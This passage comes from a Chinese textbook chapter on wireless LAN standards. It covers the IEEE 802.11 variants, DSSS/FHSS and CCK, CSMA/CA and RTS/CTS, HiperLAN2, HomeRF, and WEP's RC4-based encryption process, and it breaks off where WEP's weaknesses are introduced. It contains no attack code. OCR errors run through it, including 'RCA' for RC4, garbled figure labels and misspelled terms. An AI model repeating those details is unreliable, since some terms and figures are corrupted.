扩 频 技术 。 由 于 工作 在 5GHz 频段 ,干扰 比 2. 4GHz 小 很 多 ,稳定 性 较 好 ,但 是 此 标准 与 
802. 11b 不 兼容 。 这 是 其 最 大 的 缺点 ,也 许 会 因此 而 被 802. 11g 淘汰 。 

(2) IEEE 802. 11b。 规 定 WLAN 工作 频段 在 2.4 一 2. 4835 GHz。 它 采用 补偿 编码 键 
控 调制 方式 ,数据 传输 速率 可 在 11Mbps、5. 5Mbps, 2Mbps, 1Mbps 之 间 自 动 切换 , 它 改 变 
T WLAN 设计 状况 ,扩大 了 WLAN 的 应 用 领域 。 最 高 速率 11Mbps, 实 际 使 用 速率 根据 距离 和 
信号 强度 可 变 (150m 内 1~2Mbps.50m 内 可 达到 11Mbps)。 另 外 ,通过 统一 的 认证 机 构 认 证 所 有 
厂商 的 产品 ,802. 11b 设备 之 间 的 兼容 性 得 到 了 保证 。 兼 容 性 促进 了 竞争 和 用 户 接 受 程度 。 

(3) IEEE 802. lle. 

基于 WLAN 的 QoS 协议 ,通过 该 协议 802. 11a、b、g 能 够 进行 VoIP。 也 就 是 说 ,802. lle 是 
通过 无 线 数据 网 实现 语音 通话 功能 的 协议 。 该 协议 将 是 无 线 数据 网 与 传统 移动 通信 网 络 进 
行 竞争 的 强 有 力 武器 。 

(4) IEEE 802. 11g。 标 准 工作 的 频段 与 802. 11b 相同 ,拥有 IEEE 802. 11a 相同 的 传输 
速率 ,最 高 可 达 54Mbps/108Mbps(Turbo/Super G) ,安全 性 较 IEEE 802. 11b 好 , 采 OFDM 
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调制 方式 ,可 与 802. 11b 兼容 。 该 标准 已 经 战胜 了 802. 11a 成 为 下 一 步 无 线 数据 网 的 标准 。 

(5) IEEE 802. 11h。802. 11h Æ 802. lla 的 扩展 ,目的 是 兼容 其 他 5GHz 频段 的 标准 ， 
如 欧盟 使 用 的 HiperLAN2。 

(6) IEEE 802. 11i。802. 11i 是 新 的 无 线 数据 网 安全 协议 ,已 经 普及 的 WEP 协议 中 的 
漏洞 ,将 成 为 无 线 数据 网 络 的 一 个 安全 隐患 。802. 11i 提出 了 新 的 TKIP 协议 解决 该 安全 问题 。 

和 其 他 IEEE 802 标准 一 样 ,802. 11 协议 主要 工作 在 OSI 参考 模型 的 最 低 两 层 上 ,也 就 
是 物理 层 和 数据 链 路 层 。 任 何 局 域 网 的 应 用 程序 .网络 操作 系统 或 者 像 TCP/IP, Novell 
NetWare 都 能 够 在 802. 11 协议 上 兼容 运行 ,就 像 它们 运行 在 802. 3 Ethernet 上 一 样 。 

802. 11b 的 基本 结构 特性 和 服务 都 在 802. 11 标准 中 进行 了 定义 ,802. 11b 协议 主要 
在 物理 层 上 进行 了 一 些 改动 ,加 入 了 高 速 数字 传输 的 特性 和 连接 的 稳定 性 。 

2. IEEE 802. 11 工作 方式 

802. 11 定义 了 两 种 类 型 的 设备 ,一 种 是 无 线 工作 站 ,通常 是 通过 一 台 PC 加 上 一 块 无 线 
网 络 接 口 卡 构成 的 ; 另 一 个 称 为 无 线 接 入 点 , 它 的 作用 是 提供 无 线 和 有 线 网 络 之 间 的 桥接 。 
一 个 无 线 接 入 点 通常 由 一 个 无 线 输 出 口 和 一 个 有 线 的 网 络 接口 (802. 3 接口 ) 构 成 ,桥接 软 
件 符合 802. 1d 桥接 协议 。 接 入 点 就 像 是 无 线 网 络 的 一 个 无 线 基 站 ,将 多 个 无 线 的 接 人 站 聚 
合 到 有 线 的 网 络 上 。 无 线 的 终端 可 以 是 802. 11 PCMCIA 卡 、.PCI 接口 ISA 接口 ,或 者 是 在 
非 计算 机 终端 上 的 嵌入 式 设备 (如 802. 11 手机 )。 

802. 11 定义 了 两 种 模式 : Infrastructure 模式 和 Ad hoc 模式 。 在 Infrastructure 模式 
中 ,无线 网 络 至 少 有 一 个 和 有 线 网 络 连接 的 无 线 接 和 人 点 ,还 包括 一 系列 无 线 的 终端 工作 站 ， 
这 种 配置 成 为 一 个 BSS( Basic Service Set ,基本 服务 集合 )。 一 个 ESS(Extended Service 
Set ,扩展 服务 集合 ) 是 由 两 个 或 者 多 个 BSS 构成 的 一 个 单一 子 网 。 由 于 很 多 无 线 的 使 用 者 
需要 访问 有 线 网 络 上 的 设备 或 服务 (文件 服务 器 .打印 机 、 互 联网 链接 ) ,因此 ,他 们 都 会 采用 
这 种 Infrastructure 模式 ,如 图 9-1 所 示 。 

Ad hoc 模式 也 称 为 点 对 点 (Pear to Pear) 模 式 或 IBSSCIndependent Basic Service Set) 


模式 ,如 图 9-2 所 示 。 
连接 到 有 限 网 络 Ss 时- e 


图 9-1 Infrastructure 模式 图 9-2 Ad hoc 模式 


3. IEEE 802.11 物理 层 

在 802.11 最 初 定义 的 3 个 物理 层 包 括 了 两 个 扩展 频谱 技术 和 一 个 红外 传播 规范 ,无 线 
传输 的 频道 定义 在 2. 4GHz 的 ISM 波段 内 ,这 个 频段 ,在 各 个 国家 无 线 管理 机 构 中 ,都 是 非 
注册 使 用 频段 。 这 样 ,使 用 802. 11 的 客户 端 设备 就 不 需要 任何 无 线 许可 。 扩 展 频谱 技术 保 
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证 了 802. 11 的 设备 在 这 个 频段 上 的 可 用 性 和 可 靠 的 吞吐 量 , 这 项 技术 还 可 以 保证 与 其 他 使 
用 同一 频段 的 设备 不 互相 影响 。802. 11 无 线 标准 定义 的 传输 速率 是 1Mbps 和 2Mbps, 可 
以 使 用 跳 频 序列 扩 频 技术 (Frequency Hopping Spread Spectrum,FHSS) 和 直接 序列 扩 频 
技术 (Direct Sequence Spread Spectrum,DSSS), 需 要 指出 的 是 ,FHSS 和 DSSS 技术 在 运 
行 机 制 上 是 完全 不 同 的 ,所 以 采用 这 两 种 技术 的 设备 没有 互 操 作 性 。 

使 用 FHSS 技术 ,2.4GHz 频道 被 划分 成 75 个 1MHz 的 子 频 道 , 接 收 方 和 发 送 方 协商 
一 个 调频 的 模式 ,数据 则 按照 这 个 序列 在 各 个 子 频 道上 进行 传送 ,每 次 在 802. 11 网 络 上 进 
行 的 会 话 都 可 能 采用 一 种 不 同 的 跳 频 模 式 ,采用 这 种 跳 频 方式 主要 是 为 了 避免 两 个 发 送 端 
同时 采用 同一 个 子 频 段 。 

FHSS 技术 采用 的 方式 较为 简单 ,这 也 限制 了 它 所 能 获得 的 最 大 传输 速度 不 能 大 于 
2Mbps, 这 个 限制 主要 是 受 FCC 规定 的 子 频 道 的 划分 不 得 小 于 1MHz。 这 个 限制 使 得 
FHSS 必须 在 2. 4GHz 频段 内 经 常 性 跳 频 , 带 来 了 大 量 的 跳 频 上 的 开销 。 

All FHSS 相反 的 是 ,直接 序列 扩 频 技术 将 2.4GHz 的 频 宽 划分 成 14 个 22MHz 的 通道 
(Channel) ,临近 的 通道 互相 重 从 ,在 14 个 频段 内 ,只 有 3 个 频段 是 互相 不 覆盖 的 ,数据 就 是 
从 这 14 个 频段 中 的 一 个 进行 传送 而 不 需要 进行 频道 之 间 的 跳跃 。 为 了 弥补 特定 频段 中 的 
噪声 开销 ,一 项 称 为 “Chipping” 的 技术 被 用 来 解决 这 个 问题 。 在 每 个 22MHz 通道 中 传输 的 
数据 中 的 数据 都 被 转化 成 一 个 带 宛 余 校 验 的 Chips 数据 , 它 和 真实 数据 一 起 进行 传输 用 来 
提供 错误 校 验 和 纠 错 。 由 于 使 用 了 这 项 技术 ,大 部 分 传送 错误 的 数据 也 可 以 进行 纠 错 而 不 
需要 重 传 ,这 就 增加 了 网 络 的 吞吐 量 。 

4. IEEE 802. 11b 的 增强 物理 层 


802. 11b 在 无 线 局 域 网 协议 中 最 大 的 贡献 就 在 于 它 在 802. 11 协议 的 物理 层 增加 了 两 
个 新 的 速度 :5. 5Mbps 和 11Mbps。 为 了 实现 这 个 目标 ,DSSS 被 选 作 该 标准 的 唯一 的 物理 
层 传输 技术 ,这 是 由 于 FHSS 在 不 违反 FCC 原则 的 基础 上 无 法 再 提高 速度 了 。 这 个 决定 使 
得 802. 11b 可 以 与 1Mbps 和 2Mbps 的 DSSS 系统 互 操作 ,但 是 无 法 与 1Mbps 和 2Mbps 的 
FHSS 系统 一 起 工作 。 

在 802. 11b 标准 中 ,一 种 更 先进 的 编码 技术 被 采用 了 ,在 这 个 编码 技术 中 ,抛弃 了 原 有 
的 11 位 Barker 序列 技术 ,而 采用 了 CCK (Complementary Code Keying) 技 术 , 它 的 核心 编 
码 中 由 一 个 64 个 8 位 编码 组 成 的 集合 ,在 这 个 集合 中 的 数据 有 特殊 的 数学 特性 使 得 它们 能 
够 在 经 过 干扰 或 者 由 于 反射 造成 的 多 方 接收 问题 后 还 能 够 被 正确 地 互相 区 分 。5. 5Mbps 
的 速率 使 用 CCK 串 来 携带 4 位 的 数字 信息 ,而 11Mbps 的 速率 使 用 CCK 串 来 携带 8 位 的 
数字 信息 。 两 个 速率 的 传送 都 利用 QPSK 作为 调制 的 手段 ,不 过 信号 的 调制 速率 为 
1.375MSps。 这 也 是 802. 11b 获得 高 速 的 机 理 。 表 9-1 中 列举 了 这 些 数 据 。 


表 9-1 802. 11b 编码 技术 数据 传送 速率 规范 


数据 传送 率 编码 长 度 调制 方式 波 串 速率 位 数 / 波 串 
1 Mbps 11 (BS FA) BPSK 1 MSps 1 
2 Mbps 11 (BS 串 ) QPSK 1 MSps 2 
5. 5Mbps 8(CCK) QPSK 1. 375MSps 4 
11 Mbps 8¢CCK) QPSK 1. 375MSps 8 
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为 了 支持 在 有 噪声 的 环境 下 能 够 获得 较 好 的 传输 速率 ,802. 11b 采用 了 动态 速率 调节 
技术 ,来 允许 用 户 在 不 同 的 环境 下 自动 使 用 不 同 的 连接 速度 来 补充 环境 的 不 利 影响 。 在 理 
想 状态 下 ,用 户 以 11Mbps 的 全 速 运行 ,然而 当 用 户 移 出 理想 的 11Mbps 速率 传送 的 位 置 或 
者 距离 时 ,或 者 潜在 地 受到 了 干扰 的 话 ,连接 速度 自动 按 序 降 低 为 5. 5Mbps, 2Mbps, 
1Mbps。 同 样 , 当 用 户 回 到 理想 环境 的 话 , 连 接 速度 也 会 以 反 向 增加 直至 11Mbps。 速 率 调 
节 机 制 是 在 物理 层 自动 实现 而 不 会 对 用 户 和 其 他 上 层 协议 产生 任何 影响 。 

5. IEEE 802.11 数据 链 路 层 

802. 11 的 数据 链 路 层 由 两 个 子 层 构成 ,逻辑 链 路 层 LLC(Logic Link Control) 和 媒体 
控制 层 MAC(Media Access Control). 802. 11 使 用 和 802. 2 完全 相同 的 LLC 子 层 和 802 
协议 中 的 48 位 MAC 地 址 ,这 使 得 无 线 网 络 和 有 线 网 络 之 间 的 桥接 非常 方便 ,但 是 MAC 地 
址 只 对 无 线 局 域 网 唯一 。 

802.11 的 MAC 和 802. 3 协议 的 MAC 非常 相似 ,都 是 在 一 个 共享 媒体 之 上 支持 多 个 
用 户 共 享 资源 ,由 发 送 者 在 发 送 数据 前 先进 行 网 络 的 可 用 性 。 在 802. 3 协议 中 ,是 由 一 种 称 
为 CSMAVCD(CCarrier Sense Multiple Access with Collision Detection) 协 议 来 完成 调节 的 ， 
这 个 协议 解决 了 在 Ethernet 上 的 各 个 工作 站 如 何在 线 缆 上 进行 传输 的 问题 ,利用 它 检测 和 
避免 当 两 个 或 两 个 以 上 的 网 络 设备 需要 进行 数据 传送 时 网 络 上 的 冲突 。 在 802. 11 无 线 局 
域 网 协议 中 ,冲突 的 检测 存在 一 定 的 问题 ,这 个 问题 称 为 “Near/Far” 现 象 ,这 是 由 于 要 检测 
冲突 ,设备 必须 能 够 一 边 接 收 数据 信号 一 边 传送 数据 信号 ,而 这 在 无 线 系统 中 是 无 法 办 
到 的 。 

鉴于 这 个 差异 ,在 802. 11 中 对 CSMA/CD 进行 了 一 些 调整 ,采用 了 新 的 协议 CSMA/ 
CA (Carrier Sense Multiple Access with Collision Avoidance) 或 者 DCF (Distributed 
Coordination Function), CSMA/CA 利用 ACK 信号 来 避免 冲突 的 发 生 ,也 就 是 说 ,只 有 当 
客户 端 收 到 网 络 上 返回 的 ACK 信号 后 才 确 认 送出 的 数据 已 经 正确 到 达 目 的 。 

CSMA/CA 协议 的 工作 流程 是 : 一 个 工作 站 希望 在 无 线 网 络 中 传送 数据 ,如 果 没 有 探 
测 到 网 络 中 正在 传送 数据 , 则 附加 等 待 一 段 时 间 , 再 随机 选择 一 个 时 间 片 继续 探测 ,如 果 无 
线 网 路 中 仍旧 没有 活动 的 话 ,就 将 数据 发 送出 去 。 接 收 端的 工作 站 如 果 收 到 发 送 端 送出 的 
完整 的 数据 则 回 发 一 个 ACK 数据 报 , 如 果 这 个 ACK 数据 报 被 接收 端 收 到 , 则 这 个 数据 发 
送 过 程 完 成 ; 如 果 发 送 端 没有 收 到 ACK 数据 报 ,或 者 发 送 的 数据 没有 被 完整 地 收 到 ,或 者 
ACK 信号 的 发 送 失败 ,不 管 是 那 种 现象 发 生 ,数据 报 都 在 发 送 端 等 待 一 段 时 间 后 被 重 传 。 

CSMA/CA 通过 这 种 方式 来 提供 无 线 的 共享 访问 ,这 种 显 式 的 ACK 机 制 在 处 理 无 线 
问题 时 非常 有 效 。 然 而 不 管 是 对 于 802. 11 还 是 802. 3 来 说 ,这 种 方式 都 增加 了 额外 的 
负担 。 

另 一 个 的 无 线 MAC 层 问题 是 “hidden node” 问 题 。 两 个 相反 的 工作 站 利用 一 个 中 心 接 
入 点 进行 连接 ,这 两 个 工作 站 都 能 够 “ 听 ? 到 中 心 接 人 点 的 存在 ,而 互相 之 间 则 可 能 由 于 障碍 
或 者 距离 原因 无 法 感知 到 对 方 的 存在 。 为 了 解决 这 个 问题 ,802. 11 在 MAC 层 上 引入 了 一 
个 新 的 Send/Clear to Send(RTS/CTS) 选 项 , 当 这 个 选项 打开 后 ,一 个 发 送 工作 站 传送 一 个 
RTS 信号 ,随后 等 待 访问 接 和 人 点 回 送 RTS 信和 号 ,由 于 所 有 的 网 络 中 的 工作 站 能 够 “ 听 ” 到 访 
问 接 入 点 发 出 的 信号 ,因此 CTS 能 够 让 它们 停止 传送 数据 ,这 样 发 送 端 就 可 以 发 送 数据 和 
接收 ACK 信号 而 不 会 造成 数据 的 冲突 ,这 就 间接 解决 了 “hidden node” 问 题 。 由 于 RTS/ 
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CTS 需要 占用 网 络 资源 而 增加 了 额外 的 网 络 负担 ,一 般 只 是 在 那些 大 数据 报 上 采用 ( 重 传 
大 数据 报 会 耗费 较 大 ) 。 

最 后 ,802. 11MAC 子 层 提供 了 另 两 个 强壮 的 功能 ,CRC 校 验 和 包 分 片 。 在 802. 11 协 
议 中 ,每 一 个 在 无 线 网 络 中 传输 的 数据 报 都 被 附加 上 了 校 验 位 以 保证 它 在 传送 的 时 候 没有 
出 现 错误 ,这 和 Ethernet 中 通过 上 层 TCP/IP 协议 来 对 数据 进行 校 验 有 所 不 同 。 包 分 片 的 
功能 允许 大 的 数据 报 在 传送 的 时 候 被 分 成 较 小 的 部 分 分 批 传送 。 这 在 网 络 十 分 拥挤 或 者 存 
在 干扰 的 情况 下 (大 数据 报 在 这 种 环境 下 传送 非常 容易 遭 到 破坏 ) 是 一 个 非常 有 用 的 特性 。 
这 项 技术 大 大 减少 了 许多 情况 下 数据 报 被 重 传 的 概率 ,从 而 提高 了 无 线 网 络 的 整体 性 能 。 
MAC 子 层 负责 将 收 到 的 被 分 片 的 大 数据 报 进 行 重新 组 装 ,对 于 上 层 协议 这 个 分 片 的 过 程 
是 完全 透明 的 。 


9.2.2 ETSI 的 HiperLAN2 


1. HiperLAN2 简介 

HiperLAN 是 欧洲 电信 标准 学 会 (European Telecom Standards Institute, ETSI) 的 
RES10 工作 组 在 1992 年 提出 的 一 个 WLAN 标准 , HiperLAN2 是 它 的 后 续 版 本 ， 
HiperLAN2 部 分 建立 在 GSM 基础 上 ,使 用 频段 为 5GHz。 在 物理 层 上 HiperLAN2 和 
802. lla 几乎 完全 相同 , 它 采 用 OF DM 技术 ,最 大 数据 速率 为 54Mbps, 实 际 应 用 吞吐 率 最 
低 也 能 保持 在 20Mbps 左右 ,为 视频 和 话音 一 类 的 实时 应 用 提供 了 新 的 途径 。 它 和 802. 11a 
最 大 的 不 同 是 HiperLAN2 不 是 建立 在 以 太 网 基础 上 的 ,而 是 采用 的 TDMA 结构 ,形成 一 
个 面向 连接 的 网 络 , 其 传输 结构 能 够 对 多 种 类 型 的 网 络 基础 结构 (包括 以 太 网 .IP、.ATM 和 
PPP) 提 供 连 接 , 而 且 对 每 一 种 连接 都 具有 安全 认证 和 加 密 功 能 。HiperLAN2 的 面向 连接 
的 特性 使 它 很 容易 满足 QoS 要 求 ,可 以 为 每 个 连接 分 配 一 个 指定 的 QoS, 确 定 这 个 连接 在 
带宽 ,延迟 ,拥塞 、 比 特 错误 率 等 方面 的 要 求 。 这 种 QoS 支持 与 高 传输 速率 一 起 保证 了 不 同 
的 数据 序列 (如 视频 .语音 和 数据 等 ) 可 以 同时 进行 高 速 传输 ,将 开辟 诸如 视频 信号 分 配 到 家 
庭 等 多 种 全 新 的 应 用 业务 。 

HiperLAN2 虽然 在 技术 上 有 优势 ,然而 它 在 开发 过 程 中 却 落 在 802. 11a 的 后 面 ,不 过 
因为 它 是 欧洲 的 标准 ,所 以 一 直 得 到 欧洲 政府 的 支持 ,尤其 在 频率 规划 上 ,因为 它 使 用 的 波 
段 和 802. 11a 相同 ,许多 投资 商 一 直 在 游说 欧洲 政府 ,希望 802. 11a 也 能 在 HiperLAN2 波 
段 使 用 ,IEEE 也 正在 开发 一 个 可 以 将 两 种 5GHz 系统 统一 起 来 的 标准 。 

2. HiperLAN2 的 主要 特点 

CL) 高 速 数 据 传输 。HiperLAN2 具有 很 高 的 传输 速率 ,物理 层 最 高 可 达 54Mbps, 网 络 
层 可 达 32Mbps。 为 了 达到 这 样 的 要 求 ,HiperLAN2 采用 了 正 交 频 分 复 用 (OFDM) 的 调制 
技术 。OFDM 已 经 被 证 明 非 常 适合 工作 于 多 种 环境 中 ,如 楼 群 之 间或 办 公 室 内 部 。 在 物理 
层 之 上 的 媒体 接 人 控制 (MAC) 子 层 有 别 于 以 往 的 CSMA 及 其 改进 方式 ,而 采用 一 种 动态 
时 分 复 用 的 技术 来 保证 最 有 效 地 利用 无 线 资源 。 

(2) 面向 链接 的 机 制 。 在 HiperLAN2 中 ,数据 是 通过 MT 和 AP 之 间 事 先 建立 的 信 令 
链接 来 进行 传输 的 ,该 链接 通过 空中 接口 实现 时 分 复 用 。 有 两 种 链接 类 型 ,点 到 点 与 点 到 多 
点 。 前 者 是 双向 的 ,而 点 到 多 点 通常 为 下 行 的 单 向 链接 ,多 用 于 组 播 。 另 外 ,每 一 个 AP 还 
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有 一 条 专用 的 广播 信道 用 于 向 其 所 属 的 所 有 MT 下 发 广播 信息 。 

(3) QoS 支持 。 面 向 链接 的 特点 使 得 HiperLAN2 可 以 很 容易 地 实现 QoS 支持 ,每 个 
链接 可 以 被 指定 一 个 特定 的 QoS, 如 带宽 .时 延 . 误 码 率 等 ; 也 可 以 给 每 个 链接 预先 指定 一 
个 优先 级 。QoS 保障 加 上 高 速率 的 数据 传输 使 得 该 系统 非常 适合 于 同步 地 传输 多 媒体 数 
据 流 ,包括 语音 、 视 频 和 数据 。 

(4) 自动 频率 分 配 。 在 HiperLAN2 中 ,不 需要 像 GSM 网 络 那样 进行 人 工 的 频率 分 
配 。 每 个 AP 都 会 在 其 覆盖 范围 内 选择 最 合适 的 无 线 信道 。AP 在 工作 的 过 程 中 同时 监听 
环境 干扰 信息 和 邻近 的 其 他 AP, 进 而 根据 无 线 信道 是 否 被 其 他 AP 占用 和 环境 干扰 最 小 化 
的 原则 选择 合适 的 信道 。 自 动 频 率 分 配 是 HiperLAN2 最 大 的 特色 。 

(5) 安全 性 支持 。HiperLAN2 网 络 支持 鉴 权 和 加 密 。 通 过 鉴 权 ,使 得 只 有 合法 的 用 户 
可 以 接 人 网 络 ,而 且 只 能 接 人 通过 鉴 权 的 有 效 网 络 。 而 无 线 网 络 由 于 固有 的 开放 性 ,其 安全 
性 通常 远 不 如 有 线 网 ,因此 在 业务 流 上 进行 加 密 是 目前 一 种 较为 有 效 的 安全 手段 。 

(6) 移动 性 支持 。 在 HiperLAN2 中 ,MT 必须 通过 “最 近 ” 的 AP 或 者 说 信 噪 比 最 高 的 
AP 来 收发 数据 。 因 此 , 当 MT 移动 时 ,必须 随时 检测 附近 的 AP, 一 旦 发 现 其 他 AP 有 比 当 
前 AP 更 好 的 传输 性 能 ,就 请 求 切换 。 切 换 之 后 ,所 有 已 经 建立 的 链接 将 转移 到 新 的 AP 之 
上 。 在 切换 过 程 中 ,通信 不 会 发 生 中 断 , 但 一 定数 量 的 丢 包 是 允许 的 。 如 果 MT 离开 了 无 
线 覆 盖 区 域 一 定 的 时 间 , 它 将 丧失 与 HiperLAN2 网 络 的 联系 并 释放 所 有 链接 。 

(7) 网 络 与 应 用 的 独立 性 。HiperLAN2 的 协议 栈 具 有 很 大 的 灵活 性 ,可 以 适应 多 种 固 
定 网 络 类 型 。 因 此 ,HiperLAN2 网 络 既 可 以 作为 交换 式 以 太 网 的 无 线 接 人 子 网 ,也 可 以 作 
为 第 三 代 蜂 窝 网 络 的 接 入 网 ,并 且 这 种 接 入 对 于 网 络 层 以 上 的 用 户 部 分 来 说 是 完全 透明 的 。 
当前 在 固定 网 络 上 的 任何 应 用 都 可 以 在 HiperLAN2 网 络 上 运行 。 相 比 之 下 ,IEEE802. 11 
的 一 系列 协议 都 只 能 由 以 太 网 作为 支撑 ,因此 这 种 高 度 的 灵活 性 也 是 HiperLAN2 的 特色 。 

(8) 节能 管理 。HiperLAN2 网 络 中 ,节能 管理 的 机 制 基于 MT 发 起 的 节能 请 求 。 在 任 
何 时 刻 ,MT 都 可 以 向 AP 请 求 进入 低 功 耗 状态 或 休眠 期 。 针 对 不 同 的 需求 ,如 要 求 较 短 等 
待 时 间或 较 低 的 功率 ,可 以 采用 不 同 的 休 眼 期 。 


9.2.3 HomeRF 


HomeRF 工作 组 是 由 美国 家 用 射频 委员 会 领导 于 1997 年 成 立 的 ,其 主要 工作 任务 是 
为 家 庭 用 户 建立 具有 互 操作 性 的 语音 和 数据 通信 网 。HomeRF 无 线 标准 是 由 HomeRF T. 
作 组 开发 的 开放 性 行业 标准 ,基于 原始 的 802.11 的 FHSS 版 本 。 顾 名 思 义 ,HomeRF 是 为 
家 庭 网 络 设计 的 ,是 一 种 将 家 中 的 PC 和 用 户 电 子 设备 之 间 实 现 无 线 数字 通信 的 开放 性 工 
业 标 准 ,目的 是 在 家 庭 范 围 内 ,使 计算 机 与 其 他 电子 设备 之 间 实 现 无 线 通 信 。 它 推出 
HomeRF 的 标准 集成 了 语音 和 数据 传送 技术 ,工作 频段 为 2. 4GHz, 数 据 传输 速率 达到 
100Mbps, 在 WLAN 的 安全 性 方面 主要 考虑 访问 控制 和 加 密 技术 。 

HomeRF 由 微软 .英特尔 惠普 摩托罗拉 和 康 柏 等 公司 提出 ,使 用 开放 的 2. 4GHz 频 
段 , 采 用 跳 频 扩 频 技术 , 跳 频 速率 为 50 跳 /s, 共 有 75 个 宽带 为 1MHz 的 跳 频 信道 。 
HomeRF 基于 共享 无 线 接 人 协议 (Shared Wireless Access Protocol, SWAP), SWAP 使 用 
TDMA 十 CSMA/CA 方式 ,适合 语音 和 数据 业务 。 在 进行 语音 通信 时 , 它 采 用 数字 增强 无 
绳 电话 (DECT) 标 准 ,DECT 使 用 TDMA 时 分 多 址 技术 ,适合 于 传送 交互 式 语音 和 其 他 时 
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间 人 敏感 性 业务 。 在 进行 数据 通信 时 它 采 用 IEEE802. 11 的 CSMA/CA,CSMA/CA 适合 于 
传送 高 速 分 组 数据 。HomeRF 的 最 大 功率 为 100mV, 有 效 范 围 50m。 调 制 方式 分 为 2FSK 
和 4FSK 两 种 ,在 2FSK 方式 下 ,最 大 的 数据 传输 速率 为 1Mbps; 在 4FSK 方式 下 ,速率 可 
达 2Mbps。 

HomeRF 是 对 现 有 无 线 通信 标准 的 综合 和 改进 : 当 进行 数据 通信 时 ,采用 IEEE802. 11 
规范 中 的 TCP/IP 传输 协议 ;， 当 进行 语音 通信 时 , 则 采用 数字 增强 型 无 绳 通信 标准 。 但 是 ， 
该 标准 与 802. 11b 不 兼容 ,并 占据 了 与 802. 11b 和 Bluetooth 相同 的 2. 4GHz 频率 段 , 所 以 
在 应 用 范围 上 会 有 很 大 的 局 限 性 ,更 多 的 是 在 家 庭 网 络 中 使 用 。 

HomeRF 的 特点 是 安全 可 靠 .成 本 低廉 ,简单 易 行 ; 不 受 墙壁 和 楼 层 的 影响 ; 传输 交互 
式 语音 数据 采用 TDMA 技术 ,传输 高 速 数据 分 组 则 采用 CSMA/CA 技术 ; 无 线 电 干 扰 影 
响 小 ; 支持 流 媒 体 。 但 其 推广 一 直 不 力 ,目前 已 基本 退出 历史 舞台 。 


9.3 无 线 局 域 网 安全 协议 


为 解决 无 线 局 域 网 络 安全 问题 ,网 络 安全 专家 先后 提出 了 有 线 等 效 保密 (Wired 
Equivalent Privacy, WEP) 方 案 , 过 渡 期 间 的 Wi-Fi 保护 存 取 (Wi-Fi Protected Access, 
WPA) 标 准 和 已 成 为 新 标准 的 802. 11i, 我 国 在 2003 年 5 月 提出 的 无 线 局 域 网 鉴别 和 保密 
基础 结构 (WLAN Authentication and Privacy Infrastructure, WAPI ) 国 家 标准 GB15629. 11。 
现在 ,无 线 局 域 网 络 安全 已 经 得 到 很 大 程度 的 改善 ,但 是 要 真正 构建 端 到 端的 安全 无 线 网 络 
依然 任重道远 。 


9.3.1 WEP 协议 


1. WEP 简介 

在 1999 年 通过 的 IEEE802. 11 标准 中 的 WEP (Wired Equivalent Privacy) 协议 是 
IEEE802. 11b 协议 中 最 基本 的 无 线 安全 加 密 措施 .其 主要 用 途 包 括 : 提供 接 人 控制 ,防止 未 
授权 用 户 访问 网 络 ; 对 数据 进行 加 密 , 防 止 数据 被 攻击 者 窃听 ; 防止 数据 被 攻击 者 中 途 恶 
意 自 改 或 伪造 。 此 外 ,WEP 也 提供 认证 功能 , 当 加 密 机 制 功能 启用 ,客户 端 要 尝试 连接 上 
AP 时 ,AP 会 发 出 一 个 Challenge Packet 给 客户 端 ,客户 端 再 利用 共享 密 钥 将 此 值 加 密 后 
送 回 存 取 点 以 进行 认证 比 对 ,如 果 正 确 无 误 , 才 能 获准 存 取 网 络 的 资源 。AboveCable 所 有 
型 号 的 AP 都 支持 64 位 或 (与 )128 位 的 静态 WEP 加 密 , 有 效 地 防止 数据 被 窃听 盗用 。 

2. WEP 加 密 解密 过 程 

WEP 为 等 效 加 密 , 即 加 密 和 解密 的 密 钥 相同 。 为 了 保护 数据 ,WEP 使 用 RCA 算法 来 
加 密 从 无 线 接 入 点 或 者 无 线 网 卡 发 送出 去 的 数据 包 。RCA 是 一 个 同步 流 式 加 密 系统 ,这 种 
加 密 机 制 将 一 个 短 密 钥 扩展 成 一 个 任意 长 度 的 伪 随 机 密 钥 流 ,发 送 端 再 用 这 个 生成 的 伪 随 
机 密 钥 流 与 报 文 进行 异 或 运算 ,产生 密 文 。 接 收 端 用 相同 的 密 钥 产生 同样 的 密 钥 流 ,并 且 用 
这 个 密 钥 流 对 密 文 进行 异 或 运算 得 到 原始 报 文 。 

从 图 9-3 中 可 以 看 到 ,发 送 端 首先 计算 原始 数据 包 中 明文 的 32 位 CRC 循环 元 余 校 验 
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码 , 也 就 是 计算 其 完整 性 校 验 值 (Integrity Check Value. ICV) ,然后 将 明文 与 校 验 码 一 起 构 
成 传输 载荷 。 在 发 送 端 和 无 线 接 人 点 AP 之 间 共 享 一 个 密 钥 ,长 度 可 选 40 位 或 104 位 。 发 
送 端 为 每 一 个 数据 包 选 定 一 个 长 度 为 24 位 的 数 作为 初始 向 量 (Initialized Vector, IV) ,然后 
将 IV 与 密 钥 连接 起 来 ,构成 64 位 或 128 位 的 种 子 密 钥 ,再 送 入 RC4 的 伪 随 机 数 生成 器 
(Pseu-do-Random Number Generator, PRNG) 中 ,生成 与 传输 载荷 等 长 的 随机 数 , 该 随机 数 
就 是 加 密 密 钥 流 。 最 后 将 加 密 密 钥 流 与 传输 载荷 按 位 进行 异 或 操作 ,就 得 到 了 密 文 。 


TV 一 一 一 | era BAY 
| | LE Rca | 密 角 流 
窗 钥 一 一 | jy 
XOR |e} 密 文 


明文 | 4 
一 | 完整 性 检测 算法 ICV Ti] 


图 9-3 WEP 加 密 过 程 


接收 端的 解密 过 程 如 图 9-4 所 示 。 由 于 发 送 端 是 将 IV 以 明文 形式 和 密 文 一 起 发 送 的 ， 
当 密 文 传送 到 AP 后 ,AP 从 数据 包 中 提取 出 IV 和 密 文 ,并 将 IV 和 自己 所 持 有 的 共享 密 钥 
一 起 送 入 伪 随 机 数 发 生 器 ,得 到 解密 密 钥 流 , 该 解密 密 钥 流 实际 上 和 加 密 密 钥 流 是 相同 的 。 
然后 接收 端 再 将 解密 密 钥 流 和 密 文 进行 异 或 运算 ,就 得 到 了 明文 ,将 明文 进行 CRC 计算 后 
就 可 以 得 到 校 验 码 ICV'。 如 果 ICV' 和 ICV 是 相等 的 ,那么 就 得 到 了 原始 明文 数据 ,否则 解 
密 就 失败 了 。 


|| 种 子 Ta 密 钼 流 
| el ad | 
ICV'=ICV 
完整 性 校 验 
明文 一 
图 9-4 WEP 解密 过 程 
3. WEP 协议 隐患 


由 于 WEP 采用 密 钥 长 度 可 变 的 RC4 流 密码 算法 来 保护 数据 传输 ,而 在 实际 应 用 中 , 密 
钥 经 常 基于 用 户 所 选择 的 密码 ,这 就 大 大 降低 了 密 钥 的 安全 有 效 长 度 。 一 些 计算 机 安全 专 
家 已 经 发 现 了 和 危及 WLAN 安全 的 安全 隐患 。 

